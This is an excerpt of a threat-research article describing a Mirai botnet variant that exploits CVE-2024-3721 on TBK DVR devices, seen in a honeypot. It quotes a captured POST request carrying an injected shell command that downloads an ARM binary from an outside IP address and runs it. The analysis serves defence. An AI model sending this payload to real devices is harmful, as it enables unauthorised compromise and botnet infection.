The abuse of known security flaws to deploy bots on vulnerable systems is a widely recognized problem. Many automated bots constantly search the web for known vulnerabilities in servers and devices connected to the internet, especially those running popular services. These bots often carry Remote Code Execution (RCE) exploits targeting HTTP services, allowing attackers to embed Linux commands within GET or POST requests.
We recently observed the use of CVE-2024-3721 in attempts to deploy a bot in one of our honeypot services. This bot variant turned out to be part of the infamous Mirai botnet, targeting DVR-based monitoring systems. DVR devices are designed to record data from cameras, widely used by many manufacturers and can be managed remotely. In this article, we describe the new Mirai bot features and its revamped infection vector.
Exploitation
During a review of the logs in our Linux honeypot system, we noticed an unusual request line linked to a CVE-2024-3721. This vulnerability allows for the execution of system commands on TBK DVR devices without proper authorization as an entry point, using a specific POST request:
"POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F42.112.26.36%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1" 200 1671 "-" "Mozila/5.0"
The POST request contains a malicious command that is a single-line shell script which downloads and executes an ARM32 binary on the compromised machine.
..Support the originator by clicking the read the rest link below.
